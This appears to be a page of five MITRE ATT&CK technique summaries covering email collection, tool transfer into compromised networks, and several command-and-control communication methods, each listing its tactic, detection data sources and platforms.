Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre